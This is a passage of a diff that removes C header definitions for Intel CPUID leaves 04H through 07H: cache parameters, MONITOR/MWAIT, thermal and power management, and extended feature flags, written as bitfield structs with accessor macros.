CPUID_EBX_PHYSICAL_LINE_PARTITIONS_BIT 12 -#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_FLAG 0x3FF000 -#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS_MASK 0x3FF -#define CPUID_EBX_PHYSICAL_LINE_PARTITIONS(_) (((_) >> 12) & 0x3FF) - - /** - * [Bits 31:22] Ways of associativity. - * - * @note Add one to the return value to get the result. - */ - uint32_t ways_of_associativity : 10; -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_BIT 22 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_FLAG 0xFFC00000 -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_MASK 0x3FF -#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY(_) (((_) >> 22) & 0x3FF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Number of Sets. - * - * @note Add one to the return value to get the result. - */ - uint32_t number_of_sets : 32; -#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 -#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF -#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * @brief Write-Back Invalidate/Invalidate - * - * [Bit 0] - 0 = WBINVD/INVD from threads sharing this cache acts upon lower level caches for threads sharing this cache. - * - 1 = WBINVD/INVD is not guaranteed to act upon lower level caches of non-originating threads sharing this cache. - */ - uint32_t write_back_invalidate : 1; -#define CPUID_EDX_WRITE_BACK_INVALIDATE_BIT 0 -#define CPUID_EDX_WRITE_BACK_INVALIDATE_FLAG 0x01 -#define CPUID_EDX_WRITE_BACK_INVALIDATE_MASK 0x01 -#define CPUID_EDX_WRITE_BACK_INVALIDATE(_) (((_) >> 0) & 0x01) - - /** - * @brief Cache Inclusiveness - * - * [Bit 1] - 0 = Cache is not inclusive of lower cache levels. - * - 1 = Cache is inclusive of lower cache levels. - */ - uint32_t cache_inclusiveness : 1; -#define CPUID_EDX_CACHE_INCLUSIVENESS_BIT 1 -#define CPUID_EDX_CACHE_INCLUSIVENESS_FLAG 0x02 -#define CPUID_EDX_CACHE_INCLUSIVENESS_MASK 0x01 -#define CPUID_EDX_CACHE_INCLUSIVENESS(_) (((_) >> 1) & 0x01) - - /** - * @brief Complex Cache Indexing - * - * [Bit 2] - 0 = Direct mapped cache. - * - 1 = A complex function is used to index the cache, potentially using all address bits. - */ - uint32_t complex_cache_indexing : 1; -#define CPUID_EDX_COMPLEX_CACHE_INDEXING_BIT 2 -#define CPUID_EDX_COMPLEX_CACHE_INDEXING_FLAG 0x04 -#define CPUID_EDX_COMPLEX_CACHE_INDEXING_MASK 0x01 -#define CPUID_EDX_COMPLEX_CACHE_INDEXING(_) (((_) >> 2) & 0x01) - uint32_t reserved1 : 29; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_04; - - -/** - * @brief MONITOR/MWAIT Leaf - * - * When CPUID executes with EAX set to 05H, the processor returns information about features available to MONITOR/MWAIT - * instructions. The MONITOR instruction is used for address-range monitoring in conjunction with MWAIT instruction. The - * MWAIT instruction optionally provides additional extensions for advanced power management. - */ -#define CPUID_MONITOR_MWAIT 0x00000005 -typedef struct -{ - union - { - struct - { - /** - * [Bits 15:0] Smallest monitor-line size in bytes (default is processor's monitor granularity). - */ - uint32_t smallest_monitor_line_size : 16; -#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_BIT 0 -#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_FLAG 0xFFFF -#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE_MASK 0xFFFF -#define CPUID_EAX_SMALLEST_MONITOR_LINE_SIZE(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 15:0] Largest monitor-line size in bytes (default is processor's monitor granularity). - */ - uint32_t largest_monitor_line_size : 16; -#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_BIT 0 -#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_FLAG 0xFFFF -#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE_MASK 0xFFFF -#define CPUID_EBX_LARGEST_MONITOR_LINE_SIZE(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] Enumeration of Monitor-Mwait extensions (beyond EAX and EBX registers) supported. - */ - uint32_t enumeration_of_monitor_mwait_extensions : 1; -#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_BIT 0 -#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_FLAG 0x01 -#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS_MASK 0x01 -#define CPUID_ECX_ENUMERATION_OF_MONITOR_MWAIT_EXTENSIONS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Supports treating interrupts as break-event for MWAIT, even when interrupts disabled. - */ - uint32_t supports_treating_interrupts_as_break_event_for_mwait : 1; -#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_BIT 1 -#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_FLAG 0x02 -#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT_MASK 0x01 -#define CPUID_ECX_SUPPORTS_TREATING_INTERRUPTS_AS_BREAK_EVENT_FOR_MWAIT(_) (((_) >> 1) & 0x01) - uint32_t reserved1 : 30; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 3:0] Number of C0 sub C-states supported using MWAIT. - */ - uint32_t number_of_c0_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_BIT 0 -#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_FLAG 0x0F -#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C0_SUB_C_STATES(_) (((_) >> 0) & 0x0F) - - /** - * [Bits 7:4] Number of C1 sub C-states supported using MWAIT. - */ - uint32_t number_of_c1_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_BIT 4 -#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_FLAG 0xF0 -#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C1_SUB_C_STATES(_) (((_) >> 4) & 0x0F) - - /** - * [Bits 11:8] Number of C2 sub C-states supported using MWAIT. - */ - uint32_t number_of_c2_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_BIT 8 -#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_FLAG 0xF00 -#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C2_SUB_C_STATES(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 15:12] Number of C3 sub C-states supported using MWAIT. - */ - uint32_t number_of_c3_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_BIT 12 -#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_FLAG 0xF000 -#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C3_SUB_C_STATES(_) (((_) >> 12) & 0x0F) - - /** - * [Bits 19:16] Number of C4 sub C-states supported using MWAIT. - */ - uint32_t number_of_c4_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_BIT 16 -#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_FLAG 0xF0000 -#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C4_SUB_C_STATES(_) (((_) >> 16) & 0x0F) - - /** - * [Bits 23:20] Number of C5 sub C-states supported using MWAIT. - */ - uint32_t number_of_c5_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_BIT 20 -#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_FLAG 0xF00000 -#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C5_SUB_C_STATES(_) (((_) >> 20) & 0x0F) - - /** - * [Bits 27:24] Number of C6 sub C-states supported using MWAIT. - */ - uint32_t number_of_c6_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_BIT 24 -#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_FLAG 0xF000000 -#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C6_SUB_C_STATES(_) (((_) >> 24) & 0x0F) - - /** - * [Bits 31:28] Number of C7 sub C-states supported using MWAIT. - */ - uint32_t number_of_c7_sub_c_states : 4; -#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_BIT 28 -#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_FLAG 0xF0000000 -#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES_MASK 0x0F -#define CPUID_EDX_NUMBER_OF_C7_SUB_C_STATES(_) (((_) >> 28) & 0x0F) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_05; - - -/** - * @brief Thermal and Power Management Leaf - * - * When CPUID executes with EAX set to 06H, the processor returns information about thermal and power management features. - */ -#define CPUID_THERMAL_AND_POWER_MANAGEMENT 0x00000006 -typedef struct -{ - union - { - struct - { - /** - * [Bit 0] Digital temperature sensor is supported if set. - */ - uint32_t temperature_sensor_supported : 1; -#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_BIT 0 -#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_FLAG 0x01 -#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED_MASK 0x01 -#define CPUID_EAX_TEMPERATURE_SENSOR_SUPPORTED(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Intel Turbo Boost Technology available (see description of IA32_MISC_ENABLE[38]). - */ - uint32_t intel_turbo_boost_technology_available : 1; -#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_BIT 1 -#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_FLAG 0x02 -#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE_MASK 0x01 -#define CPUID_EAX_INTEL_TURBO_BOOST_TECHNOLOGY_AVAILABLE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] ARAT. APIC-Timer-always-running feature is supported if set. - */ - uint32_t apic_timer_always_running : 1; -#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_BIT 2 -#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_FLAG 0x04 -#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING_MASK 0x01 -#define CPUID_EAX_APIC_TIMER_ALWAYS_RUNNING(_) (((_) >> 2) & 0x01) - uint32_t reserved1 : 1; - - /** - * [Bit 4] PLN. Power limit notification controls are supported if set. - */ - uint32_t power_limit_notification : 1; -#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_BIT 4 -#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_FLAG 0x10 -#define CPUID_EAX_POWER_LIMIT_NOTIFICATION_MASK 0x01 -#define CPUID_EAX_POWER_LIMIT_NOTIFICATION(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] ECMD. Clock modulation duty cycle extension is supported if set. - */ - uint32_t clock_modulation_duty : 1; -#define CPUID_EAX_CLOCK_MODULATION_DUTY_BIT 5 -#define CPUID_EAX_CLOCK_MODULATION_DUTY_FLAG 0x20 -#define CPUID_EAX_CLOCK_MODULATION_DUTY_MASK 0x01 -#define CPUID_EAX_CLOCK_MODULATION_DUTY(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] PTM. Package thermal management is supported if set. - */ - uint32_t package_thermal_management : 1; -#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_BIT 6 -#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_FLAG 0x40 -#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT_MASK 0x01 -#define CPUID_EAX_PACKAGE_THERMAL_MANAGEMENT(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] HWP. HWP base registers (IA32_PM_ENABLE[bit 0], IA32_HWP_CAPABILITIES, IA32_HWP_REQUEST, IA32_HWP_STATUS) are - * supported if set. - */ - uint32_t hwp_base_registers : 1; -#define CPUID_EAX_HWP_BASE_REGISTERS_BIT 7 -#define CPUID_EAX_HWP_BASE_REGISTERS_FLAG 0x80 -#define CPUID_EAX_HWP_BASE_REGISTERS_MASK 0x01 -#define CPUID_EAX_HWP_BASE_REGISTERS(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] HWP_Notification. IA32_HWP_INTERRUPT MSR is supported if set. - */ - uint32_t hwp_notification : 1; -#define CPUID_EAX_HWP_NOTIFICATION_BIT 8 -#define CPUID_EAX_HWP_NOTIFICATION_FLAG 0x100 -#define CPUID_EAX_HWP_NOTIFICATION_MASK 0x01 -#define CPUID_EAX_HWP_NOTIFICATION(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] HWP_Activity_Window. IA32_HWP_REQUEST[bits 41:32] is supported if set. - */ - uint32_t hwp_activity_window : 1; -#define CPUID_EAX_HWP_ACTIVITY_WINDOW_BIT 9 -#define CPUID_EAX_HWP_ACTIVITY_WINDOW_FLAG 0x200 -#define CPUID_EAX_HWP_ACTIVITY_WINDOW_MASK 0x01 -#define CPUID_EAX_HWP_ACTIVITY_WINDOW(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] HWP_Energy_Performance_Preference. IA32_HWP_REQUEST[bits 31:24] is supported if set. - */ - uint32_t hwp_energy_performance_preference : 1; -#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_BIT 10 -#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0x400 -#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE_MASK 0x01 -#define CPUID_EAX_HWP_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] HWP_Package_Level_Request. IA32_HWP_REQUEST_PKG MSR is supported if set. - */ - uint32_t hwp_package_level_request : 1; -#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_BIT 11 -#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_FLAG 0x800 -#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST_MASK 0x01 -#define CPUID_EAX_HWP_PACKAGE_LEVEL_REQUEST(_) (((_) >> 11) & 0x01) - uint32_t reserved2 : 1; - - /** - * [Bit 13] HDC. HDC base registers IA32_PKG_HDC_CTL, IA32_PM_CTL1, IA32_THREAD_STALL MSRs are supported if set. - */ - uint32_t hdc : 1; -#define CPUID_EAX_HDC_BIT 13 -#define CPUID_EAX_HDC_FLAG 0x2000 -#define CPUID_EAX_HDC_MASK 0x01 -#define CPUID_EAX_HDC(_) (((_) >> 13) & 0x01) - - /** - * [Bit 14] Intel(R) Turbo Boost Max Technology 3.0 available. - */ - uint32_t intel_turbo_boost_max_technology_3_available : 1; -#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_BIT 14 -#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_FLAG 0x4000 -#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE_MASK 0x01 -#define CPUID_EAX_INTEL_TURBO_BOOST_MAX_TECHNOLOGY_3_AVAILABLE(_) (((_) >> 14) & 0x01) - - /** - * [Bit 15] HWP Capabilities. Highest Performance change is supported if set. - */ - uint32_t hwp_capabilities : 1; -#define CPUID_EAX_HWP_CAPABILITIES_BIT 15 -#define CPUID_EAX_HWP_CAPABILITIES_FLAG 0x8000 -#define CPUID_EAX_HWP_CAPABILITIES_MASK 0x01 -#define CPUID_EAX_HWP_CAPABILITIES(_) (((_) >> 15) & 0x01) - - /** - * [Bit 16] HWP PECI override is supported if set. - */ - uint32_t hwp_peci_override : 1; -#define CPUID_EAX_HWP_PECI_OVERRIDE_BIT 16 -#define CPUID_EAX_HWP_PECI_OVERRIDE_FLAG 0x10000 -#define CPUID_EAX_HWP_PECI_OVERRIDE_MASK 0x01 -#define CPUID_EAX_HWP_PECI_OVERRIDE(_) (((_) >> 16) & 0x01) - - /** - * [Bit 17] Flexible HWP is supported if set. - */ - uint32_t flexible_hwp : 1; -#define CPUID_EAX_FLEXIBLE_HWP_BIT 17 -#define CPUID_EAX_FLEXIBLE_HWP_FLAG 0x20000 -#define CPUID_EAX_FLEXIBLE_HWP_MASK 0x01 -#define CPUID_EAX_FLEXIBLE_HWP(_) (((_) >> 17) & 0x01) - - /** - * [Bit 18] Fast access mode for the IA32_HWP_REQUEST MSR is supported if set. - */ - uint32_t fast_access_mode_for_hwp_request_msr : 1; -#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_BIT 18 -#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_FLAG 0x40000 -#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR_MASK 0x01 -#define CPUID_EAX_FAST_ACCESS_MODE_FOR_HWP_REQUEST_MSR(_) (((_) >> 18) & 0x01) - uint32_t reserved3 : 1; - - /** - * [Bit 20] Ignoring Idle Logical Processor HWP request is supported if set. - */ - uint32_t ignoring_idle_logical_processor_hwp_request : 1; -#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_BIT 20 -#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_FLAG 0x100000 -#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST_MASK 0x01 -#define CPUID_EAX_IGNORING_IDLE_LOGICAL_PROCESSOR_HWP_REQUEST(_) (((_) >> 20) & 0x01) - uint32_t reserved4 : 11; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 3:0] Number of Interrupt Thresholds in Digital Thermal Sensor. - */ - uint32_t number_of_interrupt_thresholds_in_thermal_sensor : 4; -#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_BIT 0 -#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_FLAG 0x0F -#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR_MASK 0x0F -#define CPUID_EBX_NUMBER_OF_INTERRUPT_THRESHOLDS_IN_THERMAL_SENSOR(_) (((_) >> 0) & 0x0F) - uint32_t reserved1 : 28; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] Hardware Coordination Feedback Capability (Presence of IA32_MPERF and IA32_APERF). The capability to provide a - * measure of delivered processor performance (since last reset of the counters), as a percentage of the expected processor - * performance when running at the TSC frequency. - */ - uint32_t hardware_coordination_feedback_capability : 1; -#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_BIT 0 -#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_FLAG 0x01 -#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY_MASK 0x01 -#define CPUID_ECX_HARDWARE_COORDINATION_FEEDBACK_CAPABILITY(_) (((_) >> 0) & 0x01) - uint32_t reserved1 : 2; - - /** - * [Bit 3] The processor supports performance-energy bias preference if CPUID.06H:ECX.SETBH[bit 3] is set and it also - * implies the presence of a new architectural MSR called IA32_ENERGY_PERF_BIAS (1B0H). - */ - uint32_t performance_energy_bias_preference : 1; -#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_BIT 3 -#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_FLAG 0x08 -#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_MASK 0x01 -#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE(_) (((_) >> 3) & 0x01) - uint32_t reserved2 : 28; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_06; - - -/** - * @brief Structured Extended Feature Flags Enumeration Leaf (Output depends on ECX input value) - * - * When CPUID executes with EAX set to 07H and ECX = 0, the processor returns information about the maximum input value for - * sub-leaves that contain extended feature flags. - * When CPUID executes with EAX set to 07H and the input value of ECX is invalid (see leaf 07H entry in Table 3-8), the - * processor returns 0 in EAX/EBX/ECX/EDX. In subleaf 0, EAX returns the maximum input value of the highest leaf 7 - * sub-leaf, and EBX, ECX & EDX contain information of extended feature flags. - */ -#define CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS 0x00000007 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reports the maximum input value for supported leaf 7 sub-leaves. - */ - uint32_t number_of_sub_leaves : 32; -#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_BIT 0 -#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_FLAG 0xFFFFFFFF -#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_MASK 0xFFFFFFFF -#define CPUID_EAX_NUMBER_OF_SUB_LEAVES(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bit 0] Supports RDFSBASE/RDGSBASE/WRFSBASE/WRGSBASE if 1. - */ - uint32_t fsgsbase : 1; -#define CPUID_EBX_FSGSBASE_BIT 0 -#define CPUID_EBX_FSGSBASE_FLAG 0x01 -#define CPUID_EBX_FSGSBASE_MASK 0x01 -#define CPUID_EBX_FSGSBASE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] IA32_TSC_ADJUST MSR is supported if 1. - */ - uint32_t ia32_tsc_adjust_msr : 1; -#define CPUID_EBX_IA32_TSC_ADJUST_MSR_BIT 1 -#define CPUID_EBX_IA32_TSC_ADJUST_MSR_FLAG 0x02 -#define CPUID_EBX_IA32_TSC_ADJUST_MSR_MASK 0x01 -#define CPUID_EBX_IA32_TSC_ADJUST_MSR(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Supports Intel(R) Software Guard Extensions (Intel(R) SGX Extensions) if 1. - */ - uint32_t sgx : 1; -#define CPUID_EBX_SGX_BIT 2 -#define CPUID_EBX_SGX_FLAG 0x04 -#define CPUID_EBX_SGX_MASK 0x01 -#define CPUID_EBX_SGX(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] BMI1. - */ - uint32_t bmi1 : 1; -#define CPUID_EBX_BMI1_BIT 3 -#define CPUID_EBX_BMI1_FLAG 0x08 -#define CPUID_EBX_BMI1_MASK 0x01 -#define CPUID_EBX_BMI1(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] HLE. - */ - uint32_t hle : 1; -#define CPUID_EBX_HLE_BIT 4 -#define CPUID_EBX_HLE_FLAG 0x10 -#define CPUID_EBX_HLE_MASK 0x01 -#define CPUID_EBX_HLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] AVX2. - */ - uint32_t avx2 : 1; -#define CPUID_EBX_AVX2_BIT 5 -#define CPUID_EBX_AVX2_FLAG 0x20 -#define CPUID_EBX_AVX2_MASK 0x01 -#define CPUID_EBX_AVX2(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] x87 FPU Data Pointer updated only on x87 exceptions if 1. - */ - uint32_t fdp_excptn_only : 1; -#define CPUID_EBX_FDP_EXCPTN_ONLY_BIT 6 -#define CPUID_EBX_FDP_EXCPTN_ONLY_FLAG 0x40 -#define CPUID_EBX_FDP_EXCPTN_ONLY_MASK 0x01 -#define CPUID_EBX_FDP_EXCPTN_ONLY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Supports Supervisor-Mode Execution Prevention if 1. - */ - uint32_t smep : 1; -#define CPUID_EBX_SMEP_BIT 7 -#define CPUID_EBX_SMEP_FLAG 0x80 -#define CPUID_EBX_SMEP_MASK 0x01 -#define CPUID_EBX_SMEP(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] BMI2. - */ - uint32_t bmi2 : 1; -#define CPUID_EBX_BMI2_BIT 8 -#define CPUID_EBX_BMI2_FLAG 0x100 -#define CPUID_EBX_BMI2_MASK 0x01 -#define CPUID_EBX_BMI2(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Supports Enhanced REP MOVSB/STOSB if 1. - */ - uint32_t enhanced_rep_movsb_stosb : 1; -#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_BIT 9 -#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_FLAG 0x200 -#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_MASK 0x01 -#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] If 1, supports INVPCID instruction for system software that manages process-context identifiers. - */ - uint32_t invpcid : 1; -#define CPUID_EBX_INVPCID_BIT 10 -#define CPUID_EBX_INVPCID_FLAG 0x400 -#define CPUID_EBX_INVPCID_MASK 0x01 -#define CPUID_EBX_INVPCID(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] RTM. - */ - uint32_t rtm : 1; -#define CPUID_EBX_RTM_BIT 11 -#define CPUID_EBX_RTM_FLAG 0x800 -#define CPUID_EBX_RTM_MASK 0x01 -#define CPUID_EBX_RTM(_) (((_) >> 11) & 0x01) - - /** - * [Bit 12] Supports Intel(R) Resource Director Technology (Intel(R) RDT) Monitoring capability if 1. - */ - uint32_t rdt_m : 1; -#define CPUID_EBX_RDT_M_BIT 12 -#define CPUID_EBX_RDT_M_FLAG 0x1000 -#define CPUID_EBX_RDT_M_MASK 0x01 -#define CPUID_EBX_RDT_M(_) (((_) >> 12) & 0x01) - - /** - * [Bit 13] Deprecates FPU CS and FPU DS values if 1. - */ - uint32_t deprecates : 1; -#define CPUID_EBX_DEPRECATES_BIT 13 -#define CPUID_EBX_DEPRECATES_FLAG 0x2000 -#define CPUID_EBX_DEPRECATES_MASK 0x01 -#define CPUID_EBX_DEPRECATES(_) (((_) >> 13) & 0x01) - - /** - * [Bit 14] Supports Intel(R) Memory Protection Extensions if 1. - */ - uint32_t mpx : 1; -#define CPUID_EBX_MPX_BIT 14 -#define CPUID_EBX_MPX_FLAG 0x4000 -#define CPUID_EBX_MPX_MASK 0x01 -#define CPUID_EBX_MPX(_) (((_) >> 14) & 0x01) - - /** - * [Bit 15] Supports Intel(R) Resource Director Technology (Intel(R) RDT) Allocation capability if 1. - */ - uint32_t rdt : 1; -#define CPUID_EBX_RDT_BIT 15 -#define CPUID_EBX_RDT_FLAG 0x8000 -#define CPUID_EBX_RDT_MASK 0x01 -#define CPUID_EBX_RDT(_) (((_) >> 15) & 0x01) - - /** - * [Bit 16] AVX512F. - */ - uint32_t avx512f : 1; -#define CPUID_EBX_AVX512F_BIT 16 -#define CPUID_EBX_AVX512F_FLAG 0x10000 -#define CPUID_EBX_AVX512F_MASK 0x01 -#define CPUID_EBX_AVX512F(_) (((_) >> 16) & 0x01) - - /** - * [Bit 17] AVX512DQ. - */ - uint32_t avx512dq : 1; -#define CPUID_EBX_AVX512DQ_BIT 17 -#define CPUID_EBX_AVX512DQ_FLAG 0x20000 -#define CPUID_EBX_AVX512DQ_MASK 0x01 -#define CPUID_EBX_AVX512DQ(_) (((_) >> 17) & 0x01) - - /** - * [Bit 18] RDSEED. - */ - uint32_t rdseed : 1; -#define CPUID_EBX_RDSEED_BIT 18 -#define CPUID_EBX_RDSEED_FLAG 0x40000 -#define CPUID_EBX_RDSEED_MASK 0x01 -#define CPUID_EBX_RDSEED(_) (((_) >> 18) & 0x01) - - /** - * [Bit 19] ADX. - */ - uint32_t adx : 1; -#define CPUID_EBX_ADX_BIT 19 -#define CPUID_EBX_ADX_FLAG 0x80000 -#define CPUID_EBX_ADX_MASK 0x01 -#define CPUID_EBX_ADX(_) (((_) >> 19) & 0x01) - - /** - * [Bit 20] Supports Supervisor-Mode Access Prevention (and the CLAC/STAC instructions) if 1. - */ - uint32_t smap : 1; -#define CPUID_EBX_SMAP_BIT 20 -#define CPUID_EBX_SMAP_FLAG 0x100000 -#define CPUID_EBX_SMAP_MASK 0x01 -#define CPUID_EBX_SMAP(_) (((_) >> 20) & 0x01) - - /** - * [Bit 21] AVX512_IFMA. - */ - uint32_t avx512_ifma : 1; -#define CPUID_EBX_AVX512_IFMA_BIT 21 -#define CPUID_EBX_AVX512_IFMA_FLAG 0x200000 -#define CPUID_EBX_AVX512_IFMA_MASK 0x01 -#define CPUID_EBX_AVX512_IFMA(_) 